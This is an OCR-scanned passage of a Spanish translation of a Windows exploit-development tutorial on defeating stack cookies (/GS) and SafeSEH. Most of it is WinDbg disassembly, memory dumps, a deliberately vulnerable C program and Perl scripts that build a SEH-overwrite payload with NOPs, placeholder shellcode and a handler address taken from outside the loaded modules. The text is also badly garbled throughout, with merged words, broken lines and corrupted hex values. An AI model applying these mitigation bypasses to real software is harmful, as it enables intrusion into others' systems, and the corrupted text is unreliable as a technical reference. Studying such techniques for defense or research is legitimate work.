bytes. Asi que si tiene mas de 8 , se produce slodéamiento de bufer).

Después de la funcion strcpy (), una barra de &umeirtual () se ejecuta.
Debido al desbordamiento anterior, el puntero adble en la pila puede
haber sido sobrescrito, y el flujo de la aplicagirede ser redirigido a tu
Shellcode en su lugar.

Después de compilar con / GS, la funcién gs3 sesue

0:000> uf Foo::gs3
gsvtable!Foo::gs3
10 00401000 55 ebp
10 00401001 8bec mov  ebp,esp
10 00401003 83ec20 esp,20h
10 00401006 a118304000 mov eax,dword pt

10 0040100b 33c5 Xor eax,ebp

10 0040100d 8945fc mov  dword ptr [e bp-4],eax
10 00401010 894df0 mov  dword ptr [e bp-10h],ecx
12 00401013 8b4508 mov  eax,dword pt r [ebp+8]

12 00401016 8945ec mov  dword ptr [e bp-14h],eax
12 00401019 8d4df4 lea ecx,[ebp-0Ch ]

12 0040101c 894de8 mov  dword ptr [e bp-18h],ecx
12 0040101f 8b55e8 mov  edx,dword pt r [ebp-18h]
12 00401022 8955e4 mov  dword ptr [e bp-1Ch],edx

gsvtable!Foo::gs3+0x25
12 00401025 8b45ec eax,dword pt r [ebp-14h]
12 00401028 8a08 cl,byte ptr [eax]
12 0040102a 884de3 byte ptr [eb p-1Dh],cl
12 0040102d 8b55e8 edx,dword pt r [ebp-18h]
12 00401030 8a45e3 al,byte ptr [ebp-1Dh]
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12 00401033 8802

12 00401035 8b4dec
12 00401038 83c101
12 0040103b 894dec
12 0040103e 8b55e8

mov  byte ptr [ed
mov  ecx,dword pt
add ecx,1
mov  dword ptr [e
mov  edx,dword pt

x],al
r [ebp-14h]

bp-14h],ecx
r [ebp-18h]

12 00401041 83c201 add edx,1

12 00401044 8955e8 mov  dword ptr [e bp-18h],edx

12 00401047 807de300 cmp  byte ptr [eb p-1Dh],0

12 0040104b 75d8 jne gsvtable!lFoo ::gs3+0x25
(00401025)

gsvtable!Foo::gs3+0x4d
13 0040104d 8b45f0 mov  eax,dword pt r [ebp-10h]

13 00401050 8b10 mov  edx,dword pt r [eax]

13 00401052 8b4df0 mov  ecx,dword pt r [ebp-10h]

13 00401055 8b02 mov  eax,dword pt r [edx]

13 00401057 ffdO call eax ;thisis where bar() is
called (via vtable ptr)

14 00401059 8b4dfc mov  ecx,dword pt r [ebp-4]

14 0040105c 33cd Xor  ecx,ebp

14 0040105e 854000000  call

14 00401063 8be5 mov  esp,ebp
14 00401065 5d ebp
14 00401066 c20400 ret 4

Cookie de la pila:

0:000> dd 00403018

00403018 cdlee24d 32el1db2 ffffffff ffffffff
00403028 fffffffe 00000001 004020f0 00000000
00403038 56413f2e 406f6f46 00000040 00000000
00403048 00000001 00343018 00342980 00000000
00403058 00000000 00000000 00000000 00000000

La barra de funciones virtuales se ve asi:

0:000> uf Foo::bar

gsvtable!Foo::bar
16 00401070 55 ebp
16 00401071 8bec mov  ebp,esp
16 00401073 51 ecx

16 00401074 894dfc mov  dword ptr [e bp-4],ecx
17 00401077 8be5 mov  esp,ebp

17 00401079 5d ebp

17 0040107a c3 ret

Si miramos el Stack justo en el momento cuandfuteion gs3 sea
llamada (por lo que antes de que el mismo desboeddéonse produzca,
pon un BP en 0 x 00401000).
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La barra de funciones virtuales se ve asi:

Y Calls - "L 1'-:|rlumr|11--rn'r=|"|-|-|1.lrru-pn¥rlrh'rr Sl iy ki L peeta’ rﬂ_.i_ﬂf.’ﬂ

0000000 00342920 |.||.|3-25L"|] i.'|'£..'|..1-|:.l-'-'td!.l- |.1-|.]:| [LOKY, cdecl)
011=fSER QOFPEEF2Y TEFAA000 gsviablel teainCETStartup+Oxllf (FBO [Hon=Fpo]) (COHY- o
o04013b4 00000000 PAT4E341 kermnabll EsseProcessStare+Ox?3 (FFO: [Hon-Fpol)

- 0x0012ff70 = EIP guardado.
- 0x0012ff74 = argumentos.
- 0x0012ff78 = puntero vtable (apunta a 0x0040211c)

0:000> u 0040211c

gsvtable!Foo:: vftable":

0040211c 7010 jo  gsvtable! load con fig_used+0xe
(0040212¢)

0040211e 40 inc eax

0040211f 004800 add Dbyte ptr [eax],cl

00402122 0000 add byte ptr [eax],al
00402124 0000 add byte ptr [eax],al
00402126 0000 add byte ptr [eax],al
00402128 0000 add byte ptr [eax],al
0040212a 0000 add byte ptr [eax],al

Justo antes de que el strcpy comience, la pila @stéigurada de esta
manera:

(32 bytes se han puesto a disposicion de la primpgaa(Sub Esp, 20),
haciendo que ESP apunte a 0x0012ff4c).
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En Ox0012FF78, vemos que el puntero vtable. La ena0x0012ff5c
contiene 0012ff78.

La cookie de la pila es puesta primero en EAX gtu¥OReada con EBP.
A continuacion, se pone en la pila (en 0x001268)

Después de escribir AAAABBBBCCCCDDDD en la pila @@sbordando
el buffer buf []), hemos sobrescrito la cookie €@GCC y estamos a punto
de sobrescribir el EIP guardado con EEEE.

Después de que la sobrescritura esté completda lsepve asi:

0x0012ff5¢c apunta a 0x0012ff78, que apunta a vtablex0040211c.
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Después de realizar la funcion strcpy (sobrescrdne la pila), las
instrucciones en 0040104D intentaran obtener lkacdion de la barra de

funcién virtual () en eax.

Antes de estos, se ejecutan las instruccionestdgistros se ven asi:

Reg lstea {FFPU) <

Entonces, estas 4 instrucciones se ejecutan, amemtcargar la direccion
de la funcién en eax:

0040104D |. 8B45 FO MOV EAX,DWORD PTR SS:[E
00401050 |. 8B10 MOV EDX,DWORD PTR DS:[E

00401052 |. 8B4D FO MOV ECX,DWORD PTR SS:[E
00401055 |. 8B02 MOV EAX,DWORD PTR DS:[E
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El resultado final de estas 4 instrucciones es:

| Registers (FPU) <

S5 L

Luego, se hace CALL EAX (en un intento de ponemamcha la barra de
funcion virtual (), lo que realmente se sitia eAGKD70).

00401057 |. FFDO CALL EAX

gsvtable.00401070

Pero EAX ya contiene datos que controlamos...

Registers (FPL) <

=> La Cookie de la pila se corrompe, pero nosadtodavia controlamos
EIP (porque controlamos EAX y hemos sobrescrifoueltero vtable). EBP
y EDX parecen apuntar a nuestro buffer, por lo guexploit deberia ser
bastante facil de construir.

SafeSEH

SafeSEH es otro mecanismo de seguridad que ayblbg@ear los abusos
de la explotacion SEH basado en tiempo de ejecu&grcomo compiler
switch (/SafeSEH) que se puede aplicar a todosnidgulos ejecutables
(.Exe, DLL’s, etc...).
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Leer mashttp://www.uninformed.org/?v=5&a=2&t=sumry

En lugar de la proteccién de la pila (por poner gpnakie antes de la
direccién de retorno), el marco de manejador depoiones / cadena esta
protegido, asegurandose de que si la cadena Shtbdifica, la solicitud
se dard por terminado sin saltar al controladoradai EI SafeSEH
verificard que la cadena de manejo de excepcicgresgmezca sin cambios
antes de ir a un controlador de excepciones. La Haecorriendo la
cadena" hasta llegar a OXFFFFFF (final de la cggderaficando que se ha
encontrado el marco de validacion, al mismo tiempo.

Si deseas sobrescribir un controlador de SE, qubiém has sobrescrito el
proximo SEH que rompera la cadena y activara eleSH&fl. La
implementacion de Microsoft de la técnica SafeSEkper ahora) bastante
estable.

Evitando el SEH: Introduccion

Como se explica el tutorial 3, la Unica manera §aéeSEH puede ser
evitada es:

Tratar de no ejecutar un exploit de SEH (pero bus@asobrescritura
directa de RET.
0

Si la aplicacion vulnerable no esta compilada $afeSEH y es uno o
mas de los moédulos cargados (modulos del sistemaidm o moédulos
especificos de la aplicacion) no se compilan cofeSEH, entonces
puedes utilizar una direccion de POP POP RET dedenlos mddulos
no compilados con SafeSEH para hacer que funcibeehecho, se
recomienda buscar un médulo de aplicacién espac(fice no esté
compilado con SafeSEH), ya que haria que tu expé@itmas confiable
a través de diferentes versiones del sistema op®raero si tienes que
usar un modulo del sistema operativo, entoncesiémibncionara (de
nuevo, siempre y cuando no esté compilado con §&fgS

Si el unico modulo sin proteccion SafeSEH es lecagon / binario en
si, entonces todavia puedes ser capaz de loghazkfia, bajo ciertas
condiciones. El binario de la aplicacion (probal#aia) se carga en una
direccion que comienza con un byte nulo. Si puedasontrar
instruccion POP POP RET en este binario de la @apba, entonces
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seras capaz de utilizar esa direccion (el byte estara al final), sin
embargo, no seras capaz de poner tu Shellcode é@esge la
sobreescritura del manejador de SE (debido a qu@hddicode no se
pondria en la memoria - el byte nulo habria actuahoo terminador de
cadena). Asi que en este escenario, el exploitfgdtmona si:

- La Shellcode se coloca en el bufer antes SleHh/ SEH sean
sobrescritos

- La Shellcode puede hacer referencia a leadtidn de los 4 bytes
de codigo de operacion disponibles (jumpcode) don@&EH es
sobrescrito. (Un salto negativo puede hacer ebtaguii).

- Ta todavia puedes desencadenar una excefogiémo puede ser el
caso, porque la mayoria de las excepciones se ggondcuando se
desborda la pila, que ya no funciona cuando tewesi para sobrescribir
SEH).

Para obtener mas informacién acerca de SEH y SkffeS&tha un vistazo
a

Creacion de Exploits SEH 3 por corelancOd3r tradtugior Ivinson.pdf
http://www.mediafire.com/?s96wcb9io6hlo58

Y Creacion de Exploits 3b SEH por corelancOd3r trabhu por
lvinson.pdf
http://www.mediafire.com/?b718gk8ks05gj6y

Ademas, la mayor parte de este capitulo se basd wabajo de David
Litchfield “Defeating the Stack Based Buffer Overfl Prevention
Mechanism of Microsoft Windows 2003 Server”.

Como se dijo anteriormente, a partir de Windowsy&e2003, un nuevo
mecanismo de proteccion se ha puesto en su lugta. tEcnica deberia
ayudar a detener el abuso del controlador de einegx En pocas
palabras, asi es como funciona:

Cuando un puntero de manejador de excepcionesaegidnto de ser
llamado, ntdll.dll (KiUserExceptionDispatcher) re&fa para ver si este
puntero es en realidad un puntero valido EH. Eme@rilugar, se trata de
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eliminar que el codigo salte de nuevo a una diéeccen la pila
directamente. Para ello, obtiene la direccion albaja de la pila (mirando
el (TEB) el bloque de entorno de Hilo, buscand®8n[4] y FS: [8]). Si el
puntero de excepcién esta dentro de ese rangpystaaa una direccidon en
la pila), el controlador no se llamara.

Si el puntero del controlador no es una direcciéradpila, la direccion se
comprueba con la lista de mdédulos cargados (y émén ejecutable en si),
para ver si esta comprendida en el rango de dieeside uno de estos
modulos. Si ese es el caso, el puntero se cotajéadsta de controladores
registrados. Si existe una coincidencia, el punsera permitido. No voy a
discutir los detalles sobre como el puntero edigado, pero recuerda que
uno de los controles clave se llevan a cabo coelralirectorio de
configuracion de carga. Si el moédulo no tiene umedadorio de
configuracion de carga, el controlador seria llamnad

¢, Qué pasa si la direccion no esta comprendida esangb de un modulo
cargado? Bueno, en ese caso, el controlador sedeomsseguro y se
llamara. Esto es lo que llamamos seguridad detézey Falla©

Hay un par de técnicas de exploit posibles para eskvo tipo de
protecciones SEH:

- Si la direccion del controlador, como la tomada ld estructura del
exception_registration, esta fuera del rango decdiones de un modulo
cargado, entonces se sigue ejecutado.

- Si la direccion del controlador se encuentra merdel rango de
direcciones de un moédulo cargado, pero este mahrigado no tiene un
directorio de configuracion de carga, y las carétieas de la DLL nos
permiten pasar la prueba de verificacion del elejsdor de SE, el puntero
se llamara.

- Si la direccion del controlador se sobrescribe @oa direccion de la pila
directamente, no sera ejecutada. Pero si el purdermanejador de
excepciones se sobrescribe con una direccion de Heanticulo), sera
llamada. (Por supuesto, esto implica cargar ela#xph el Heap y luego
tratar de adivinar una direccion mas o menos fiableel Heap donde se
puede redirigir el flujo de la aplicacion. Esto gaeser dificil porque esta
direccién no puede ser predecible).
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-Si la estructura exception_registration se sobisscy el puntero se

encuentra en un controlador ya registrado, queutgeel cédigo que le

ayuda a obtener el control. Por supuesto, estacte@dlo es util si el

codigo del controlador de excepcidénes no interrumap8hellcode y, de

hecho, ayuda a poner una direccion controlada BnEd cierto que este es
raramente el caso, pero a veces sucede.

http://technet.microsoft.com/en-us/security/buliftis03-026

Evitando el SafeSEH: Usar una direccion fuera
del rango de direcciones de los mddulos cargados

Los mddulos de carga o imagen del ejecutable cargadla memoria
cuando se ejecuta una aplicacion lo mas probaljaetenga referencias a
las instrucciones POP POP RET, que es lo que buscpar lo general al
momento de construir exploits de SEH. Pero estesnal Unico espacio de
memoria donde podemos encontrar instrucciones aiesil Si podemos
encontrar instruccion POP POP RET en un lugar fularango de
direcciones de un moédulo cargado, y este lugarsggi@ (porque, por
ejemplo, pertenece a uno de los procesos del sistarativo Windows),
entonces tu puedes usar esa direccién tambiénddédgracia, incluso si
encuentras una direccion que es estatica, te daeda que esta direccidon
no puede ser la misma direccion a través de diiesemersiones del
sistema operativo. Asi que el exploit sélo puedwifbnar si sélo usas una
version especifica del sistema operativo.

Otra forma (tal vez incluso mejor) para superae éptoblema” es mirar
otro conjunto de instrucciones.

call dword ptrlesp+nn] / jmp dword ptr[esp+nnkall dword ptr[ebp+nn]
/ jmp dword ptr[ebp+nn] / call dword ptr[ebp-nhjmp dword ptrlebp-nn]

(Posibles offsets (nn) a buscar son: esp+8, es@sp4,1c, esp+2c, esp+44,
esp+50, ebp+0c, ebp+24, ebp+30, ebp-04, ebp-0el&bp

Una alternativa seria que, si ESP+8 apunta a lauobsta de

exception_registration también, entonces podriasdruuna combinacion
POP POP RET (en el espacio de memoria fuera dgbrde los médulos
cargados) y seria demasiado trabajo.



Creacién de Exploits 6: Evitando las Cookies del 8tk, SafeSEH,
SEHOP, HW DEP y ASLR por corelanc0d3r traducido po
lvinson/CLS

Por ultimo, puedes buscar "ADD ESP+8+RET", queagidtel SafeSEH
también.

Digamos que quieres buscar EBP+30. Convierte el LCAL las
instrucciones JMP a opcodes:

0:000> a

004010cb call dword ptr[ebp+0x30]
call dword ptr[ebp+0x30]

004010ce jmp dword ptr[ebp+0x30]
jmp dword ptr[ebp+0x30]

004010d1

0:000> u 004010chb
004010cb ff5530 call dword ptr [ebp+30h
004010ce ff6530 jmp  dword ptr [ebp+30h

Ahora trata de encontrar una ubicacion direcciore danga estas
instrucciones, y se encuentre fuera de los modtdogados o espacio de
direcciones del ejecutable binario, y puede qugasmn ganador.

Para demostrar esto, vamos a utilizar el cédigoibegue se usamos para
explicar la proteccién /GS (cookie pila) (ejemplp y trata de construir

un exploit funcional en Windows 2003 Server R2 Skpglés, Standard

Edition.

#include "  stdafx.h

#include " stdio.h

#include"  windows.h "
Getlnput( * str,

buffer[500];
strcpy(buffer,str);
strcpy(out,buffer);

printf(" Input received : %s\n " buffer);

* StrErr)

printf(" No valid input received ! \n
printf(" Exception : %s\n " strErr);

main( argc, *argVv[])

buf2[128];
Getlnput(argv[1],buf2);
0;
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Esta vez, compila este ejecutable sin / GS y /REG) asegurate de que el
ejecutable tenga SafeSEH habilitaddafeSEH: npno se establece en las
opciones de linea de comandos del 'enlazador’a: Negtoy ejecutando
Windows Server 2003 R2 Standard Edition Servicek Pacinglés, con
DEP en modo Optin (este s6lo se activa en los poscdasicos de
Windows, que no es la configuracion predetermiremaVindows Server
2003 R2 Service Pack 2. No te preocupes. Vamosbérhacerca de
DEP/NX mas adelante).

Al cargar el ejecutable en OllyDbg, podemos ver a®s los modulos y
ejecutables estan protegidos con SafeSEH.

Vamos a sobrescribir la estructura SE después 8ebytes. Asi que
pondremos el siguiente cédigo "BBBB" en Next SEHD{PDD" en SEH:

$size=508;
$junk=" A" x $size;
$junk=$junk."  BBBB;
$junk=$junk."  DDDD;
(" \"C:\\Program Files\\Debugging Tools for Windows
(x86)\\windbg\" seh \"$junk\"\r\n ");

Executable search path is:

ModLoad: 00400000 00406000 seh.exe

ModLoad: 7¢800000 7c8c2000 ntdll.dll

ModLoad: 77e40000 77f42000 C:\WINDOWS\ 32\kernel32.dll
ModLoad: 78520000 785c3000 C:\WINDOWS\WinSxS\x86 Microsoft.vVC90...dll
(c5c.c64): Break instruction exception - code 80000 003 (first chance)
eax=78600000 ebx=7ffdb000 ecx=00000005 edx=00000020 esi=7c8897f4
edi=00151f38

eip=7c8la3el esp=0012fb70 ebp=0012fcb4 iopl=0 nv up ei pl nz
na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00000202

ntdll!DbgBreakPoint:

7c8la3el cc 3

0:000> g

(c5c.c64): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exc eption handling.
This exception may be expected and handled.
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eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001
edi=004033a8

eip=004010cb esp=0012fcb4 ebp=0012feec iopl=0 nv up ei pl nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00010206

seh!Getlnput+0xcb:

004010ch 8802 mov  byte ptr [edx],al
ds:0023:00130000=41

0:000> !exchain

0012fee0: 44444444

Invalid exception stack at 42424242

OK. Hasta ahora todo bien. Ahora tenemos que eraroanha direccion
para ponerla en SEH. Todos los médulos (y el nejecutable) estan
compilados con SafeSEH, por lo que no se puedeautiina direccion de
estos rangos.

Busquemos en memoria instruccioes como: CALL/JMPR® PTR
[reg + nn]. Sabemos que el Opcode ff 55 30 = cabird ptr [ebp+0x30] y
el Opcode ff 65 30 = jmp dword ptr [ebp+0x30].

0:000> s 0100000 | 77fffff
00270b0b ff 55 30 00 00 00 00 9e-ff 57 30 00 00 00

Alternativamente, puedes usar mi propio plugin pvEddr de
pycommand de Immunity Debugger para ayudarte dnmisgueda de esas
direcciones. ElI comando!pvefindaddr jseh buscar4d todas Ias
combinaciones CALL/JMP de forma automatica y sdidenara las que
estan fuera del rango de un modulo cargado:

an

on rodu Lel

Ipvefindaddr jse
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(Nota - la imagen de arriba es de otro sistema, daso omiso de la
direccién que se ha encontrado por ahora). Si degea copia de este
plugin: https://www.corelan.be/?dl_id=31

También, puedes obtener una vista en el mapa deorngemitilizando
Immnunity Debugger u OllyDbg, por lo que se puedes a donde
pertenece cada direccion.

Memory map

También puedes utilizar la herramienta VADUMP defdsoft para volcar
los segmentos del espacio de direcciones virtuales.

Nota del traductor: Parece que ya MSno tiene esa herramienta en su \Web.

Regresa a nuestra operacion de busqueda. Si quierssar mas
instrucciones similares/diferentes (basicamentmeatiando del ambito de
basqueda), omite el valor del Offset en su busqedimplemente utiliza
el plugin !pvefindaddr de Immunity Debugger y oluteis todos los
resultados de inmediato):

0:000> s 0100000 | 77fffff

00267643 ff 55 ff 61 ff 54 ff 57-ff dc ff 58 ff cc
UaTW..X..

00270b0b ff55 30 00 00 00 00 9e-ff 57 30 00 00 00

UV VLV
00401183 ff 55 8b ec f6 45 08 02-57 8b f9 74 25 56
U...E.W..t%VhT
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0040149e ff 55 14 eb ed 8b 45 ec-89 45 e4 8b 45 e4
.U....E..E..E...

00401509 ff 55 14 eb fO c7 45 e4-01 00 00 00 c7 45
.U....E...... | =

00401542 ff 55 8b ec 8b 45 08 8b-00 81 38 63 73 6d
.U...E....8csm.u

0040163e ff 55 8b ec ff 75 08 e8-4e ff ff ff {7 d8
.U...u..N.......

004016b1 ff 55 8b ec 8b 4d 08 b8-4d 5a 00 00 66 39
.U...M..MZ..f9.t

004016f1 ff55 8b ec 8b 45 08 8b-48 3c 03 c8 0Of b7
.U...E..H<....A.

00401741 ff 55 8b ec 6a fe 68 e8-22 40 00 68 65 18
.U.j.h" @.he.@.

00401866 ff 55 8b ec ff 75 14 ff-75 10 ff 75 Oc ff
.U...u..u..u..u.

004018b9 ff 55 8b ec 83 ec 10 al-28 30 40 00 83 65
U...... 0@..e..

0040198f ff 55 8b ec 81 ec 28 03-00 00 a3 80 31 40

U..(..1@..

iBingo! Ahora tenemos que encontrar la direcciée @ a hacer un salto a
nuestra estructura. Esta direccion no puede resgdirel espacio de
direcciones del sistema binario o0 de uno de losuta§ccargados.

Por cierto: si nos filamos en el contenido de E&igndo se produce la

excepcion, vemos:

(be8.bdc): Break instruction exception - code 80000
eax=78600000 ebx=7ffde000 ecx=00000005 edx=00000020
edi=00151f38

eip=7c8la3el esp=0012fb70 ebp=0012fcb4 iopl=0

na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000
efl=00000202

ntdll!DbgBreakPoint:

7c8la3el cc 3

0:000> g

(be8.bdc): Access violation - code c0000005 (first

First chance exceptions are reported before any exc
This exception may be expected and handled.
eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000
edi=004033a8

eip=004010cb esp=0012fcb4 ebp=0012feec iopl=0

na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000
efl=00010206

seh!Getlnput+0xcb:

004010ch 8802 mov  byte ptr [edx],al
ds:0023:00130000=41

0:000> d ebp

0012feec 7c ff 12 00 79 11 40 00-f1 29 33 00 fc fe

AAAAAAAAAAAAAAAA

003 (first chance)
esi=7c8897f4

nv up ei pl nz

chance)
eption handling.

esi=00000001

nv up ei pl nz
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0012ff0c 41 41 41 41 41 41 41 41-41 4141414141
AAAAAAAAAAAAAAAA
0012fflc 414141414141 4141-414141414141
VaVAV Y VAVAVAVEVAVAVAVAVAVAVAN
0012ff2c 41 41 41 41 41 41 41 41-41 4141414141
AAAAAAAAAAAAAAAA

0012ff3c 4141 41 41 41 41 41 41-41 41 41414141
AAAAAAAAAAAAAAAA
0012ff4c 41 4141 4141 4141 41-41 4141414141
AAAAAAAAAAAAAAAA
0012ffoc 41 41 41 41 41 41 41 41-41 41 41 41 41 41
AAAAAAAAAAAAAAAA

Regresemos a los resultados de busqueda. Toddsdasiones (véase el
resultado de la operacion de busqueda anteriorsgurician con 0x004
no se pueden utilizar (porque pertenecen al prdpmario), y solo
0x00270b0b saltara. Esta direccion pertenece aodeinls (y no a
cualquiera de los médulos cargados). Si nos fijamosel espacio de
direcciones virtuales para mdltiples procesos (@sthxe, w3wp.exe,
csrss.exe, etc), se puede ver que unicode.nlsgg®@an una gran cantidad
de procesos (no todos), en una direccion baseedifer Por suerte, la
direccién base permanece estatica para cada prdeasolas aplicaciones
de consola, siempre se pueden asignar a 0x00266600/indows 2003
Server R2 Standard SP2 Inglés, lo que hace al iexpbmfiable. En
Windows XP Service Pack 3, Inglés, se asigna a X000 (entonces, la
direccién a utilizar en Windows XP SP3 seria Ox@iZth).

(De nuevo, puedes usar mi propio !pvefindaddr deopymand, que va a
hacer todo este trabajo de forma automatica)

El dnico problema que podemos tener es lidiar ¢dreeho de que nuestra
direccién "CALL dword ptr [EBP 30 h]" de unicodesntomienza con un

byte nulo, y la entrada es ASCII (byte nulo, teraxior de cadena) (por lo
que no serd capaz de poner nuestra Shellcode dedpugobreescribir

SEH, pero tal vez podamos ponerlo antes de sobbyedarestructura SE y

hacer referencia a ella de todos modos (o, aligeménte, se podria tratar
de saltar "atrds" en lugar de avanzar. de todamafr veremos que
podemos hacer). Si esto hubiera sido un explodadl®, no habria sido un
problema (00 00 es el fin de cadena en unicodé0ho

Vamos a sobreescribir NextSEH con algunos BP &ngp0x00270b0b en
el SEH:

$junk=" A" x 508;

$junk=$junk."  \xcc\xcc\xeec\xee
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$junk=$junk. ('V',0x00270b0b);

Look in: Ilﬂ Release j | 3
ﬁseh.exe

Desktop

ty Docu

dy Computer

File name: Iseh.e:-ce j DOpen

Files aof ype: IExecutabIe Filez j Cancel |

Arguments: |AMMMMWMMMMMMM"HW'

Executable search path is:

ModLoad: 00400000 00406000 seh.exe

ModLoad: 7¢800000 7¢8c2000 ntdll.dll

ModLoad: 77e40000 77f42000 C:\WINDOWS\ 32\kernel32.dll
ModLoad: 78520000 785c3000

C:\WINDOWS\WinSxS\x86 Microsoft.VC90.CRT_1...dll

(a94.c34): Break instruction exception - code 80000 003 (first chance)
eax=78600000 ebx=7ffdb000 ecx=00000005 edx=00000020 esi=7c8897f4
edi=00151f38

eip=7c8la3el esp=0012fb70 ebp=0012fcb4 iopl=0 nv up ei pl nz
na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00000202

ntdll!DbgBreakPoint:

7c8la3el cc 3

0:000> g

(a94.c34): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exc eption handling.
This exception may be expected and handled.

eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001
edi=004033a8

eip=004010cb esp=0012fcb4 ebp=0012feec iopl=0 nv up ei pl nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00010206

seh!Getlnput+0xcb:

004010ch 8802 mov  byte ptr [edx],al

ds:0023:00130000=41

0:000>
0012fee0:
Invalid exception stack at cccceceee
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0:000> g

(a94.c34):

eax=00000000 ebx=00000000 ecx=00270b0b edx=7c828786

edi=00000000

eip=0012fee0 esp=0012f8e8 ebp=0012f90c iopl=0
na pe nc
¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00000246
0012fee0 cc 3

0:000>

0012fee0 cc cc cc cc Ob Ob 27 00-00 00 00 00 7c ff

0012fef0
(0]0)241{0]0]
0012ff10
0012ff20
0012ff30
0012ff40
0012ff50
0:000>d
(010)(1241{510]
0012ff70
0012ff80
0012ff90
(0[0) 241 =10]
0012ffb0
0012ffcO
0012ffd0

79 11 40 00 f1 29 33 00-fc fe 12 00

4141414141414141-414141414141
4141414141414141-414141414141
4141414141414141-414141414141
4141414141414141-414141414141
4141414141414141-414141414141
4141414141414141-414141414141

4141414141414141-414141414141
4141414141414141-414141414141
4141414141414141-414141414141
4141414141414141-414141414141
4141414141414141-414141414141
4141414141414141-414141414141
4141414141414141-414141414141
4141414141414141-414141414141

(first chance)
€si=00000000

nv up ei pl zr

1200 ..ot

y.@..)3.....
PAVAVAVAVAVAVAVAVAVAVAVAVAVAVAV:AY

aVaVaVaVAVAVAVAVAVAVAVAVAVAVAV.N
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
aVaVaVaVAVAVAVAVAVAVAVAVAVAVAV.N
AAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA
aVaVaVaVAVAVAVAVAVAVAVAVAVAVAV.N
AAAAAAAAAAAAAAAA
aVaVaVaVAVAVAVAVAVAVAVAVAVAVAV.N
AAAAAAAAAAAAAAAA
aVaVaVaVAVAVAVAVAVAVAVAVAVAVAVAN
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA

La nueva (controlada) cadena SEH indica que henmyseatamente
sobrescrito nNSEH y SEH, y después de pasar la execep la aplicacion,
el salto fue hecho a nuestro jumpcode de 4 bytesSEH. (4 BP's en
nuestro escenario).

Al pasar a través de las instrucciones despuédiddagexcepcion se ha
producido (comando 't en WinDbg), podemos ver tpge rutinas de

validacién fueron ejecutadas (por ntdll), la diréncse determind que era
valida (CALL ntdll RtlisvalidHandler) y, finalmenteel manejador fue

ejecutado, lo cual nos lleva de nuevo a la nSEBR%):

€ax=00000000 ebx=00000000 ecx=00270b0b edx=7c828786
edi=00000000

eip=7c828770 esp=0012f8f0 ebp=0012f90c iopl=0

na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000
efl=00000246

ntdll'ExecuteHandler2+0x24:

7c828770 ffdl

0:000>

eax=00000000 ebx=00000000 ecx=00270b0b edx=7c828786
edi=00000000

eip= esp=0012f8ec ebp= iopl=0

na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000 0]
efl=00000246

esi=00000000

nv up ei pl zr

esi=00000000

nv up ei pl zr
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00270b0b ff5530

$s:0023:0012f93¢c=0012fee0

0:000>

eax=00000000 ebx=00000000 ecx=00270b0b edx=7c828786 esi=00000000
edi=00000000

eip=0012fee0 esp=0012f8e8 ebp=0012f90c iopl=0 nv up ei pl zr
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00000246

Al ver EIP (mira la salida de Windbg anterior), patbs ver que nuestra
buffer “junk” o "basura" puede ser facilmente refeciado, a pesar del
hecho de que no podria sobrescribir mas memorfaudssie sobreescribir
SEH (porque contiene un byte nulo). Asi que todaviedes ser capaz de
obtener un exploit funcional. El espacio de la Bbde sera mas o menos
limitado (500 bytes o menos), pero deberia fungiona

Asi que si se sustituyen las A’s con NOP s+Shelitbdsura, y hacemos
un salto en los NOP’s, debemos ser capaces de ébaartrol.

Exploit de ejemplo (con BP’s como Shellcode):

$size=508;
$nops =" \x90 " x 24;
$shellcode="  \xcc\xcc
$junk=$nops.$shellcode;
$junk=$junk."  \x90 " x ($size- ($nops.$shellcode));
$junk=$junk.”  \xeb\x1a\x90\x90 " #nseh, jump 26 bytes
$junk=$junk. ('V',0x00270b0b);
" Payload length : " ($junk)."  \n";
(" \"C:\\Program Files\\Debugging Tools for Windows
(x86)\\windbg\" seh \"$junk\"\r\n ");

Symbol search path is: SRV*C:\windbg

symbols*http: //Imsdl.microsoft.com/download/symbols

Executable search path is:

ModLoad: 00400000 00406000 seh.exe

ModLoad: 7¢800000 7¢8c2000 ntdll.dll

ModLoad: 77e40000 77f42000 C:\WINDOWS\ 32\kernel32.dll
ModLoad: 78520000 785c3000 C:\WINDOWS\WinSxS\x86_ ...4148 x-
ww_D495AC4E\MSVCR90.dlI

(6f8.9ac): Break instruction exception - code 80000 003 (first chance)
eax=78600000 ebx=7ffd9000 ecx=00000005 edx=00000020 esi=7c8897f4
edi=00151f38

eip=7c8la3el esp=0012fb70 ebp=0012fcb4 iopl=0 nv up ei pl nz
na po nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00000202

ntdll!DbgBreakPoint:
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7c8la3el cc 3

0:000> g

(6f8.9ac): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exc eption handling.
This exception may be expected and handled.

eax=0012fd90 ebx=00000000 ecx=0012fd90 edx=00130000 esi=00000001
edi=004033a8

eip=004010cb esp=0012fcb4 ebp=0012feec iopl=0 nv up ei ng nz
na pe nc

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=000

efl=00010286

seh!Getlnput+0xcb:

004010chb 8802 mov  byte ptr [edx],al

ds:0023:00130000=41

0:000> !exchain

0012fee0: 00270b0b

Invalid exception stack at 90901aeb

0:000> g

0:000> d eip
0012ff14 90 90 90 90 90 90-90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90-90 90 90 90 90 90

90 90 90 90 90 90 90 90-90 90 90 90 90 90

